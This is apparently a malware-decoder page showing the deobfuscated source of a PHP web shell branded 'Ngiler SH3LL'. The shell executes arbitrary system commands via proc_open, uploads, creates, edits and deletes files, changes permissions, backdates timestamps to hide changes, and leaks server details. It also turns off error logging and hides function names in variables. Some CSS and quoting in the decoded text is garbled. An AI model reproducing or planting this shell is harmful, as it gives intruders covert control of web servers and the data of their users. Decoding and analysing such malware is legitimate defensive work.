Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


error_reporting(0);
$inst = "ini_set";
@$inst("error_log", null);
@$inst("max_execution_time", 0);echo "\xa<!doctypehtml>\xa<html lang="en">\xa<head>
<meta charset="UTF-8">
<meta content="width=device-width,initial-scale=1"name="viewport">\xa<title>#$@%#$%!</title>\xa<link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"rel="stylesheet"crossorigin="anonymous"integrity="sha5-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="referrerpolicy="no-referrer">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3r/dist/css/bootstrap.min.css">\xa<link rel="stylesheet" href="https://getbootstrap.com/docs/4p/dist/css/bootstrap.min.css">
<link rel="preconnect" href="https://fonts.googleapis.com">\xa<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>\xa<link href="https://fonts.googleapis.com/css2?family=Trade+Winds&display=swap" rel="stylesheet">\xa<style>\xa    @import url("https://fonts.googleapis.com/css2?family=Trade+Winds");
body {\xa    background-color: 129;
    color: #fff;
    font-size: px;\xa}
table {
    width: 0%;\xa    border-collapse: collapse;\xa}\xatable, td, th {\xa    border:px solid #2129;
    font-size: 14px;\xa}
th {\xa    background-color: ;\xa}\xa.fa {
    margin-right: 5px;\xa}\xa.fa-folder {\xa    color: #F293;
}\xaa {
text-decoration: none;\xacolor: #fff;
        }\xa.silkscreen-regular {\xa  font-family: "Silkscreen", sans-serif;\xa  font-weight: 400;
  font-style: normal;
  font-size: 40px;
}\xa\xa.silkscreen-bold {
  font-family: "Silkscreen", sans-serif;
  font-weight: 7;
  font-style: normal;\xa}\xa
.button-container {\xa  display: flex;
  justify-content: center;
  flex-wrap: wrap;\xa  margin-bottom: 10px;
}
.modal {
  display: none;\xa  position: fixed;
  left: 0;
  top: 0;
  width: 0%;\xa  height:00%;\xa  overflow: auto;\xa  background-color: rgb(0 0 / %);\xa}\xa
.modal-content {\xa  background-color: #fefefe;
  margin: 5% auto;\xa  padding: 20px;\xa  border: 1px solid #04FBFF;
  max-width: 70%;\xa  box-shadow: 00px rgba@,, 0, 0.3);\xa  background-color: #2529;\xa  border-radius: px solid 4FBFF;\xa}
\xa.close {\xa  color: #aaa;
  float: right;
  font-size: 28px;
  font-weight: bold;
}

.close:hover,
.close:focus {
  color: black;
  text-decoration: none;
  cursor: pointer;\xa}\xa.directory-listing-table {
  margin: auto;\xa  background-color: #2529;\xa  padding: .7rem 1rem;\xa  max-width: 9px;
  width: 1%;\xa}
textarea {
    max-width: 100%;\xa    max-height: 0%;
    padding-left: 2px;\xa    resize: none;\xa    overflow: auto;\xa    color: #fff;\xa    text-shadow:px 1pxpx rgba@`,0,0.3);
    border: 1px solid rgba(0`,0,0.5);
    border-radius:px;
    box-shadow: inset 0 -1px 7px #A9B8, 0 1px 1px rgba(5b55,2`.2);
    -webkit-transition: box-shadow .5s ease;
    -moz-transition: box-shadow .5s ease;\xa    -o-transition: box-shadow .5s ease;
    -ms-transition: box-shadow .5s ease;\xa    transition: box-shadow .5s ease;
    background: rgba(0,0,0`s);\xa}
    </style>\xa</head><body>";
$web = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on" ? "https" : "http") . "://" . $_SERVER["HTTP_HOST"];
$gser = "get_current_user"; 
$enp = "encodePath"; 
$isd = "is_dir"; 
$stce = "str_replace"; 
$isr = "is_readable"; 
$dept = "decodePath"; 
$pname = "php_uname"; 
$pver = "phpversion"; 
$isw = "is_writable"; 
$cm = "chmod"; 
$uren = "urlencode";
$scd = "scandir";
$flm = "filemtime"; //pilewaktu
$fz = "filesize"; //pileukuran
function formatSizeUnits($bytes){
    $nf = "number_format";
    if($bytes>=1073741824){$bytes='<font color="aqua">'.$nf($bytes/1073741824,2).'</font> GB';}elseif($bytes>=1048576){$bytes='<font color="aqua">'.$nf($bytes/1048576,2).'</font> MB';}elseif($bytes>=1024){ $bytes='<font color="orange">'.$nf($bytes/1024,3).'</font> KB';}elseif($bytes>1){
        $bytes='<font color="orange">'.$bytes.'</font> B';}elseif($bytes==1){
        $bytes='<font color="orange">'.$bytes.'</font> B';}else{
        $bytes='<font color="red">0</font> B';}return $bytes;
}function fileExtension($file) {
    $sub = "substr";
    $sthr = "strrchr";
    return $sub($sthr($file,),1);
}function fileIcon($file) {$stl = "strtolower";$fe = "fileExtension";$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp", "ico");$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");$ext=$stl($fe($file));if($file=="error_log") {return '<i class="fa-sharp fa-solid fa-bug"></i> ';}elseif($file==".htaccess") {return '<i class="fa-solid fa-hammer"></i> ';}if($ext=="html"||$ext=="htm") {return '<i class="fa-brands fa-html5"></i> ';}elseif($ext=="php"||$ext=="phtml") {return '<i class="fa-brands fa-php"></i> ';}elseif(in_array($ext,$imgs)) {return '<i class="fa-regular fa-images"></i> ';}elseif($ext=="zip"){return '<i class="fa-solid fa-file-archive"></i> ';}elseif($ext=="css"){return '<i class="fa-brands fa-css3"></i> ';}elseif($ext=="txt"){return '<i class="fa fa-file-text"></i> ';}elseif(in_array($ext,$audio)) {return '<i class="fa-solid fa-music"></i> ';}elseif($ext=="py"){return '<i class="fa-brands fa-python"></i> ';}elseif($ext=="js"){return '<i class="fa-brands fa-js"></i> ';}elseif($ext=="mp4"){return '<i class="fa fa-file-video"></i> ';}else{return '<i class="fa-solid fa-file"></i> ';}
}   function encodePath($path) {$stce = "str_replace";$a = array("/", "\", , ":");$b = array(net("ক"),net("খ"),net("গ"),net("ঘ"));return $stce($a,$b,$path);
}   function decodePath($path) {$stce = "str_replace";$a = array("/", "\", , ":");$b = array(net("ক"),net("খ"),net("গ"),net("ঘ"));
        return $stce($b,$a,$path);
}  function net($hexnet) {$slen = "strlen";$dhx = "dechex";$or = "ord"; for ($i = 0; $i < $slen($hexnet); $i++) {$d7net .= $dhx($or($hexnet[$i]));}return $d7net;
} function ipserv() {$ghb = "gethostbyname";if (empty($_SERVER["SERVER_ADDR"])) {return $ghb($_SERVER["SERVER_NAME"]);if (empty($ghb($_SERVER["SERVER_NAME"]))) {return $_SERVER["SERVER_NAME"];}} else {return $_SERVER["SERVER_ADDR"];}}
echo "<div style='margin-bottom:px; margin-left: 0px;'>";
        echo "</div>";
echo '<br>';
$rutpat=__DIR__;
if(isset($_GET['p'])){
    if(empty($_GET['p'])){
        $p=$rutpat;
    }elseif(!$isd($dept($_GET['p']))){
         echo "<script>
alert('Directory is Corrupted and Unreadable.');
window.location.replace('?');
</script>";
    }elseif($isd($dept($_GET['p']))){
        $p=$dept($_GET['p']);
    }
}elseif(isset($_GET['q'])){
    if(!$isd($dept($_GET['q']))){
        echo "<script>window.location.replace('?p=');</script>";
    }elseif($isd($dept($_GET['q']))){
        $p=$dept($_GET['q']);
    }
}else{
    $p=$rutpat;
}
define("PATH",$p);
    if(isset($_GET['p'])){
        if($isr(PATH)){
            $fetch_obj=$scd(PATH);
            $folders=array();
            $files=array();
            foreach($fetch_obj as $obj){
                if($obj==||$obj=='..'){
                    continue;
                }
                    $new_obj=PATH.'/'.$obj;
                    if($isd($new_obj)){
                        array_push($folders,$obj);
                    }elseif(is_file($new_obj)){
                        array_push($files,$obj);
                    }
                }
            }
// mnu
echo "<table class='table table-dark' style='width:70%;box-shadow: 0 5px D97A5' align='center'><thead style='--bs-table-bg:D97A5;--bs-table-color:00;'><tr><th><div style='font-family:Trade Winds;font-size:24px;color:#000;' align='center'><i class='fa-brands fa-napster'></i> <a href='" . $_SERVER["SCRIPT_NAME"] . "'>Ngiler SH3LL60</a></div></th></tr></thead><td>";
echo "<center><button onclick=location.href='" . $_SERVER["SCRIPT_NAME"] . "' class='btn btn-outline-light'><i class='fas fa-home'></i> Home</button>&nbsp;";
echo "<button id="Information" class="btn btn-outline-light"><i class="fa fa-info-circle"></i>Information</button>&nbsp;";
echo "<button onclick=location.href='?p=" . $uren($enp(PATH)) . "&opet=" . net("createfile") . "' class='btn btn-outline-light'><i class='fa-solid fa-file-circle-plus'></i> Create File</button>&nbsp;";
echo "<button onclick=location.href='?p=" . $uren($enp(PATH)) . "&opet=" . net("buatdir") . "' class='btn btn-outline-light'><i class='fa-solid fa-folder-plus'></i> Create Folder</button>";
echo "</center><hr color='white'>Dir : ";
$exp = "explode";
$path=$stce('\\','/',PATH);
$paths=$exp('/',$path);
foreach($paths as $id=>$dir_part){
    if($dir_part==''&&$id==0){
        $a=true;
        echo "<a href="?p=/"></i> : /</a>";continue;
    }if($dir_part=='')continue;
    echo "<a href='?p=";for($i=0;$i<=$id;$i++){
        echo $stce(":",net("ঘ"),$paths[$i]); 
        if($i!=$id) echo net("ক");
    }
        echo "' style='font-size:px; color: white; text-decoration: none;'>" . $dir_part . "</a>&nbsp;/ ";
    } echo "</td></table>";
    echo "<table class="table table-dark" style="width0%;box-shadow: 0 0 5px #0D97A5" align="center"><td>\xa<form class="row g-3" method="post">\xa  <div class="col-auto">\xa  <div class="input-group" style="width:630px;">
    <input type="text" value="" . $_POST["koman"] . "" placeholder="uname -a" name="koman" class="form-control">
    <input type="submit" class="btn btn-outline-light" value="execute" name="submit">\xa  </div></div>\xa  <div class="col-auto"></form>\xa  <form method="POST" enctype="multipart/form-data">\xa  <div class="input-group" style="width:370px;">
    <input type="file" name="fileToUpload" class="form-control" id="fileToUpload">\xa    <input type="submit" class="btn btn-outline-light" value="upload" name="uplod">\xa  </div></div>
</form></td></table>";
if(isset($_POST["uplod"])){
    $filez = PATH . "/" . $_FILES["fileToUpload"]["name"];
    $bsn = "basename";
    $mvup = "move_uploaded_file";
        if($mvup($_FILES["fileToUpload"]["tmp_name"],$filez)){
            echo "<table class='table table-dark' style='width:30%;box-shadow: 0 5px #0D97A5;' align='center'>
                <thead style='--bs-table-bg:#0D97A5;--bs-table-color:#000;'>
                <tr><th><font color='lime'>Successfully.</font></th></tr></thead>\xa                <td>" . $bsn($filez) . " has been uploaded.</td></table>";
        }else{
                echo "<table class='table table-dark' style='width:30%;box-shadow: 0 0 5px #0D97A5;' align='center'>
                <thead style='--bs-table-bg:#0D97A5;--bs-table-color:#0;'>
                <tr><th><font color='#F826'>FAILLED.</font></th></tr></thead>
                <td>Sorry, there was an error uploading your file.</td></table>";
            }
        }
if(isset($_POST['submit'])) {
        ekse($_POST['koman'], PATH);
    }
    echo "</center>
<div id="myModal" class="modal">\xa  <div class="modal-content">\xa  <table class="table table-dark" style="width:0%;"><thead style="--bs-table-bg:#0D97A5;--bs-table-color:#000;"><tr><th>
    Information Server</th></tr></thead><td>\xa    <p><i class="fa-solid fa-network-wired" aria-hidden="true"></i> ip : <font color="#0D97A5">" . ipserv() . "</font></p>
    <p><i class="fa-solid fa-computer" aria-hidden="true"></i> System : <font color="#0DA5">" . $pname() . "</font></p>\xa    <p><i class="fa-solid fa-user" aria-hidden="true"></i> User : <font color="#0DA5">" . @$gser() . "</font></p>
    <p><i class="fa-brands fa-php" aria-hidden="true"></i> PHP Version : <font color="#0D97A5">" . @$pver() . "</font></p>\xa    <p><i class="fa-solid fa-server" aria-hidden="true"></i> Software : <font color="#0D97A5">" . $_SERVER["SERVER_SOFTWARE"] . "</font></p>\xa    </td></table>
    <span class="close btn btn-outline-light" style="width:200px;font-size:14px;float:right;">close</span>
  </div>
</div>";
if ($_REQUEST['opet'] == net("createfile")){
    function cretf(){
        $fpn = "fopen";
        $fwr = "fwrite";
        $pat = PATH;
        $nama_file = $_POST["nama_file"];
        $isi_file = $_POST["isi_file"];
        $handle = $fpn("$pat/$nama_file", 'w');
        $filez = $pat."/".$nama_file;
        $stce = "str_replace";
        $asu = $stce($_SERVER["DOCUMENT_ROOT"], $web. "", $filez);
        if ($fwr($handle, $isi_file)) {
            echo "<table class="table table-dark table-sm" style="width:30%;box-shadow: 0 0px #0D97A5;" align="center">
            <thead style="--bs-table-bg:#0D97A5;--bs-table-color:#000;">
            <tr><th><font color="lime">Successfully!!</font></th></tr></thead>\xa            <td>Created =>&nbsp;<font color="lime">" . $nama_file . "<br></font>Link : <a href="" . $asu . "" target="_blank"><font color="aqua"><i>Click here</i></a></font></td></table>";
        } else {
            echo "<table class="table table-dark table-sm" style="width:30%;box-shadow: 0 5px #0D97A5;" align="center">\xa            <thead style="--bs-table-bg:#0D97A5;--bs-table-color:#000;">
            <tr><th>ERROR</th></tr></thead>\xa            <td><font color=red><center>
            <i class="fa fa-exclamation-triangle" aria-hidden="true"></i> Failed to create file.</font></script></td></table>";
        }
    } if(!isset($_POST['bikin'])) {
        echo "<table class='table table-dark' style='width:%;box-shadow: 0 5px #0D97A5;' align='center'>
        <thead style='--bs-table-bg:#0DA5;--bs-table-color:00;'>
        <tr><th>Create File</th></tr></thead>\xa        <td><form method='POST'>\xa        <input type='text' value='file.php' placeholder='Nama File' style='width: 5px;' name='nama_file' class='form-control mb-3' autocomplete='off'>\xa        <textarea name='isi_file' rows=:0' cols=930' placeholder='Hello World!'></textarea><br>
        <button type='sumbit' class='btn btn-outline-light' style='width:0px; height:36px;' height:;' name='bikin'>CREATE</button>&nbsp;
        <a href='?p=" . $enp(PATH) . "' class='btn btn-outline-light'>Back</a><br>
    </form></td></table>";
        } else {
            cretf();
        }
} elseif ($_GET['opet'] == net('buatdir')) {
    echo "<table class="table table-dark" style="width:50%;box-shadow: 5px DA5;" align="center">\xa            <thead style="--bs-table-bg:D97A5;--bs-table-color:00;">\xa            <tr><th>Create Folder</th></td></thead>
            <td>\xa            <form action="" method = "POST"><center>
            <div style="width:300px;">\xa            <input type="text" class="form-control" placeholder="Folder Name" name="add" id="add"/><br></div>
            <button type="submit" class="btn btn-outline-light" name="buat" value="Create directory" style="width:0px;">Create</button>&nbsp;
        <a href="?p=" . $enp(PATH) . "" class="btn btn-outline-light" style="width:0px;">Back</a><br><br></form></td></table>";
    if (isset($_POST['buat'])) {
        $foladd = PATH.'/'.$_POST['add'];
        $cref = "mkdir";
        $flex = "file_exists";
        if (!$flex($foladd)) {
            if ($cref($foladd, 0755, true)) {
         echo "<table class='table table-dark' align='center' style='width:40%;box-shadow: 0 0 5px #0D97A5;'>\xa        <thead style='--bs-table-bg:D97A5;--bs-table-color:#0;'><tr><th><font color='lime'>Successfully!!</font></th></tr></thead>
        <td>Folder <font color='orange'>" . $_POST["add"] . "</font> berhasil dibuat.<br>Url => 
        <a href='?p=" . $uren($enp(PATH)) . net("ক") . $_POST["add"] . "'><i>Here</i></a></td></table>";
    } else {
        echo "<table class='table table-dark' align='center' style='width:40%;box-shadow: 5px #0D97A5;'>\xa        <thead style='--bs-table-bg:#0DA5;--bs-table-color:#0;'><tr><th>\xa        <font color='red'>FAILED.</th></tr></thead>
        <td><font color='red'>Gagal membuat folder</font> <font color='orange'>" . $_POST["add"] . "</font>.</td></table>";
    }
} else {
    echo "<table class='table table-dark' align='center' style='width0%;box-shadow: 0 0px #0D97A5;'>
    <thead style='--bs-table-bg:D97A5;--bs-table-color:#0;'><tr><th>EMPTY</th></tr></thead>
    <td>Folder <font color='orange'>" . $_POST["add"] . "</font> sudah ada.</td></table>";
    }
}
}
//fm
echo "<table class="table table-dark table-hover" style="box-shadow: 0 0 5px #0DA5;width:90%;border-leftpx solid #40BECC;border-right:1px solid #40BECC;border-bottom:1px solid #BECC;--bs-border-radius:rem;" align="center">
            <thead style="--bs-table-bg:#0D97A5;--bs-table-color:#0;">\xa                <tr>\xa                    <th><center>Name</center></th>\xa                    <th><center>Size</center></th>\xa                    <th><center>Last Modified</center></th>
                    <th><center>Permissions</center></th>
                    <th><center>Actions</center></th>
                </tr>\xa            </thead>\xa            <tbody>";
            foreach($folders as $folder){
         echo " <tr><td><i class='fa-solid fa-folder'></i> <a href='?p=" . $uren($enp(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
        <td><center><b>---</b></td></center>
        <td><center>" . date("F d Y H:i:s", $flm(PATH . "/" . $folder)) . "</center></td>\xa        <td><center>"; 
        if($isw(PATH."/".$folder)) echo "<font color="lime">";
        elseif(!$isr(PATH."/".$folder)) echo "<font color="red">";
        echo d7netstat(PATH."/".$folder);
        if($isw(PATH."/".$folder) || !$isr(PATH."/".$folder)) echo '</font>';
         echo "</td></center>
        <td><center>\xa            <select class='custom-select custom-select-sm' onchange='location = this.value;'>\xa                <option selected>Select</option>
                <option value='?q=" . $uren($enp(PATH)) . "&r=" . $folder . "'>Rename</option>\xa                <option value='?q=" . $uren($enp(PATH)) . "&chdet=" . $folder . "'>Chdate</option>\xa                <option value='?q=" . $uren($enp(PATH)) . "&cmod=" . $folder . "'>Chmod</option>\xa                <option value='?q=" . $uren($enp(PATH)) . "&d=" . $folder . "'>Delete</option>\xa            </select>\xa        </td></center>
    </tr> </div>";
    }foreach($files as $file){
        echo "<tr>\xa        <td>" . fileIcon($file) . " <a href='?q=" . $uren($enp(PATH)) . "&e=" . $file . "'>" . $file . "</a></td>
      <td><center>" . formatSizeUnits($fz(PATH . "/" . $file)) . "</td></center>\xa        <td><center>" . date("F d Y H:i:s", $flm(PATH . "/" . $file)) . "</td></center>\xa        <td><center>";
        if($isw(PATH."/".$file)) echo "<font color="lime">";
        elseif(!$isr(PATH."/".$file)) echo "<font color="red">";
        echo d7netstat(PATH."/".$file);
        if($isw(PATH."/".$file) || !$isr(PATH."/".$file)) echo '</font>';
        echo "</td></center>\xa        <td><center>
            <select class='custom-select custom-select-sm' onchange='location = this.value;'>
                <option selected>Select</option>
                <option value='?q=" . $uren($enp(PATH)) . "&e=" . $file . "'>Edit File</option>
                <option value='?q=" . $uren($enp(PATH)) . "&r=" . $file . "'>Rename</option>\xa                <option value='?q=" . $uren($enp(PATH)) . "&chdet=" . $file . "'>Chdate</option>
                <option value='?q=" . $uren($enp(PATH)) . "&cmod=" . $file . "'>Chmod</option>
                <option value='?q=" . $uren($enp(PATH)) . "&d=" . $file . "'>Delete</option>\xa            </select>
        </td></center>\xa    </tr>";}echo "</table>
    <table class='table table-dark' style='width:90%;box-shadow: 0 5px #0D97A5' align='center'><thead style='--bs-table-bg:#0D97A5;--bs-table-color:#0;'><tr><th>".date("Y")." &copy; Ngiler SH3LL | Created By D7net.\xa    <div style='float:right;x'>
    <a href='https://github.com/bellpwn/opet' class='btn btn-outline-light btn-sm'><i class='fa-brands fa-github'></i></a>\xa    <a href='http://opetolol.eu.org/' class='btn btn-outline-light btn-sm'><i class='fa-solid fa-globe'></i></a>\xa    <a href='mailto:opeteveryday@gmail.com' class='btn btn-outline-light btn-sm'><i class='fa-solid fa-envelope'></i></a></div></th></tr></thead><table>"; }else{ if(empty($_GET)){
             echo "<script>window.location.replace('?p=');</script>";}}if(isset($_GET['upload'])){
echo "
   <center> <form method="post" enctype="multipart/form-data">
        
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">\xa    </form></center>";
    } if(isset($_GET['chdet'])) { 
    if(!empty($_GET['chdet']) && isset($_GET['q'])) {
        $bsn = "basename";
        $filez = $bsn($_GET['chdet']);
        $fdate = PATH."/".$filez;
        $tgl = date("F d Y H:i:s",$flm($fdate));
        echo "<br><table class="table table-dark" style="width:40%;" align="center">
        <thead style="--bs-table-bg:#0D97A5;--bs-table-color:#0;">\xa        <tr><th>Change Date : " . $tgl . " | Name : " . $filez . "</th></tr></thead>
        <td><center><form method="post">
        <div class="input-group mbk" style="width:3px;">\xa        <span class="input-group-text">Change :</span>
        <input type="text" name="date" class="form-control" placeholder="" . $tgl . ""></div>
        <input type="submit" name="change" class="btn btn-outline-light">&nbsp;\xa        <a href="?p=" . $enp(PATH) . "" class="btn btn-outline-light" style="width:70px;">Back</a></form></td></table>";
        if (isset($_POST['change'])) {
            $stm = "strtotime";
            $toc = "touch";
            $tanggal = $stm($_POST['date']);
            if (@$toc($fdate, $tanggal) == true) {
                echo "<script>alert('Changed Successfully.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
            } else {
                echo "<script>alert('Failed to Changed.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
            }
        }
    }
    } if(isset($_GET['cmod'])) { 
    if(!empty($_GET['cmod']) && isset($_GET['q'])) {
        $bsn = "basename";
        $files = $bsn($_GET['cmod']);
      echo "<br><table class='table table-dark' style='width0%;' align='center'><thead style='--bs-table-bg:D97A5;--bs-table-color:#0;'><tr><th>
      Change Permission : " . d7netstat(PATH . "/" . $files) . ", Name : " . $files . "</th></tr></thead>\xa      <td><center>\xa      <form method='POST'>
      <div class='input-group mb-3' style='width:0px;'>
            <span class='input-group-text'>Change :</span>
        <input type='text' name='chm0d' maxlength='4' onkeypress='return number(event)' class='form-control' placeholder='" . d7netstat(PATH . "/" . $files) . "' required>\xa        </div>
      <input type='submit' name='change' class='btn btn-outline-light'>&nbsp;\xa      <a href='?p=" . $enp(PATH) . "' class='btn btn-outline-light' style='width0px;'>Back</a></form>\xa      </td></table>";
    if (isset($_POST['change'])) {
      $cek = PATH."/".$files;
      $odc = "octdec";
      $opet = @$cm($cek, $odc($_POST['chm0d']));
    if ($opet == true) {
        echo "<script>alert('Changed Successfully. " . d7netstat(PATH . "/" . $files) . " => " . $_POST["chm0d"] . "'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
        } else {
             echo "<script>alert('Gagal Mengubah Permission :( .'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
        }
      }
    }
} if(isset($_GET['r'])) { 
    if(!empty($_GET['r']) && isset($_GET['q'])) {
        echo "<br><table class="table table-dark" style="width0%; box-shadow: 0 0 5px #0D97A5;" align="center">
        <thead style="--bs-table-bg:#0D97A5;--bs-table-color:00;">\xa        <tr><th>Rename : <font color="white">" . $_GET["r"] . "</font></th></tr></thead>
            <td><form method="post"><center>
            <div class="input-group mbk" style="width:320px;">
            <span class="input-group-text">Name :</span>\xa        <input type="text" name="name" class="form-control" placeholder="Nama baru">
        </div>\xa        <input type="submit" class="btn btn-outline-light" value="Rename" name="rename">&nbsp;\xa        <a href="?p=" . $enp(PATH) . "" class="btn btn-outline-light" style="width:90px;">Back</a></center>\xa    </form></td></table>";
    if(isset($_POST["rename"])){
        $name=PATH."/".$_GET['r'];
        $rnme = "rename";
        if($rnme($name,PATH."/".$_POST['name'])){
            echo "<script>alert('Berkas berhasil ganti nama.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
        }else{
                echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
            }
        }
    }
}if(isset($_GET['e'])){
    if(!empty($_GET['e']) && isset($_GET['q'])){
        $htsp = "htmlspecialchars";
        $fgc = "file_get_contents";
       echo "
    <table class="table table-dark" style="width:%; box-shadow: 0 0px #0D97A5;" align="center">
    <thead style="--bs-table-bg:#0D97A5;--bs-table-color:#000;">\xa        <tr>\xa            <th>
        Edit File : <font color="lime">" . $_GET["e"] . "</font> | Size : " . formatSizeUnits($fz(PATH . "/" . $_GET["e"])) . "<button type="button" class="btn btn-outline-light btn-sm" onclick="myFunction()" style="float:right;"><i class="fa fa-copy"></i> Copy</button></th></tr></thead>\xa        <td><center><form method="post">\xa        <textarea style="height: 0px;\xa        width: %;" name="data" id="myInput">" . $htsp($fgc(PATH . "/" . $_GET["e"])) . "</textarea>
        <br><br>\xa        <input type="submit" class="btn btn-outline-light" style="width:0px;" value="Save" name="edit">&nbsp;\xa        <a href="?p=" . $enp(PATH) . "" class="btn btn-outline-light" style="width00px;">Back</a>\xa                </form>\xa            </center>
        </td>\xa    </table></center>";
    if (isset($_POST["edit"])) { 
    $fpn = "fopen";
    $fwr = "fwrite";
    $pilen = PATH . "/" . $_GET["e"]; 
    $data = $_POST["data"]; 
    $open = $fpn($pilen, "w"); 
    if ($fwr($open, $data)) { 
        echo "<script>alert('Berkas berhasil di simpan.'); window.location.replace('?p=" . $enp(PATH) . "');</script>"; 
    } else { 
        echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . $enp(PATH) . "');</script>"; 
    } fclose($open); 
 }
}
} if(isset($_GET['d']) && isset($_GET['q'])) {
    $name=PATH."/".$_GET['d'];
    $uli = "unlink";
    $isf = "is_file";
    if($isf($name)){
        if($uli($name)){
             echo "<script>alert('File removed.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
        }else{
            echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
        }
    }elseif($isd($name)){
        $rd = "rmdir";
        if($rd($name)==true){
            echo "<script>alert('Directory removed.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
    }else{
        echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . $enp(PATH) . "');</script>";
        }
    }
}
function ekse($coman) {
$hch = "htmlspecialchars";$sgc = "stream_get_contents"; $ler = "2>1"; $pm = "preg_match"; if (!$pm("/" . $ler . "/i", $coman)) { $coman = $coman . " " . $ler; } $komen = $coman; $pr = "proc_open"; $fe = "function_exists";if ($fe($pr)) { $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, PATH); echo "<table class='table table-dark' style='width:%;box-shadow: 0 0 5px D97A5' align='center'>
    <thead style='--bs-table-bg:D97A5;--bs-table-color:00;'><tr><th>
    Command : <font color='#fff'>" . $_POST["koman"] . "</font></th></tr></thead><td>\xa    <pre><textarea style='height:400px;width: 0%;color: lime;' readonly>\xa    " . $hch($sgc($crottz[1])) . "</textarea></pre></td></table><br>"; } else { echo "<center><font color='orange'>proc_open function is disabled!!</font></center>"; 
    } die; 
}
function d7netstat($file){
$sb = "substr";$sp = "sprintf";$fp = "fileperms";
$izin = $sb($sp('%o', $fp($file)), -4);
return $izin;
}
<script>
function number(event) {
    var angka = (event.which) ? event.which : event.keyCode
    if (angka != 46 && angka > 31 && (angka < 48 || angka > 57))
        return false;
    return true;
}
function myFunction() {
  var copyText = document.getElementById("myInput");
  copyText.select();
  copyText.setSelectionRange(0, 99999); // For mobile devices
  navigator.clipboard.writeText(copyText.value);
  alert("Copied Successfully!!");
}
var modal = document.getElementById("myModal");
var btn = document.getElementById("Information");
var span = document.getElementsByClassName("close")[0];

btn.onclick = function() {
  modal.style.display = "block";
}

span.onclick = function() {
  modal.style.display = "none";
}

window.onclick = function(event) {
  if (event.target == modal) {
    modal.style.display = "none";
  }
}
</script>
</body></html>



© 2023 Quttera Ltd. All rights reserved.